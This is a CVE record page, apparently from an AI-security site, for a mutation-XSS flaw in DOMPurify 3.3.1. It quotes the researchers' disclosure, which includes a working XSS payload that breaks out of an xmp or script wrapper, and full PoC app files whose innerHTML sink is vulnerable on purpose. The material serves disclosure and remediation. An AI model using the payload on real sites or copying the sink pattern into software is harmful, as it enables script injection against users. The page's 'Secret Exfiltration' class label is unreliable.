HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 65914 dompurify is vulnerable to mutation xss via re
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Unknown severity · Source severity not reportedCVE-2026-65914GHSA-H8R8-WCCR-V5F2

DOMPurify is vulnerable to mutation-XSS via Re-ContextualizationCVE-2026-65914

Answer in brief

CVE-2026-65914 records a Unknown severity vulnerability in DOMPurify is vulnerable to mutation-XSS via Re-Contextualization. The current sources do not mark it as known exploited. The current feed maps dompurify (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Mar 27, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Aug 8, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Unknown severitySource severity not reported
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps dompurify (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
dompurifynpm>=0 <3.3.23.3.2

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for dompurify.
  2. 2Review the reported fix. Update dompurify to 3.3.2 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Mar 27, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Aug 8, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

## Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC). ## Vulnerability The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). ## PoC 1. Start the PoC app: ```bash npm install npm start ``` 2. Open `http://localhost:3001`. 3. Set `Wrapper en sink` to `xmp`. 4. Use payload: ```html <img src=x alt="</xmp><img src=x onerror=alert('expoc')>"> ``` 5. Click `Sanitize + Render`. 6. Observe: - `Sanitized response` still contains the `</xmp>` sequence inside `alt`. - The sink reparses to include `<img src="x" onerror="alert('expoc')">`. - `alert('expoc')` is triggered. 7. Files: - index.html ```html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; } pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script" selected>script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;"> <button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> </main> <script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink'); run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) }); const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>'; }); </script> </body> </html> ``` - server.js ```js const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({ ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input); res.json({ sanitized }); }); app.listen(port, () => { console.log(`expoc running at http://localhost:${port}`); }); ``` - package.json ```json { "name": "expoc", "version": "1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express": "^5.2.1", "jsdom": "^28.1.0" } } ``` ## Evidence - PoC [daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered <img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" /> ## Why This Happens This is a mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior). - Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure. Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`. 2. Keep the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition. 4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.). 5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
3 linked sources
Open source record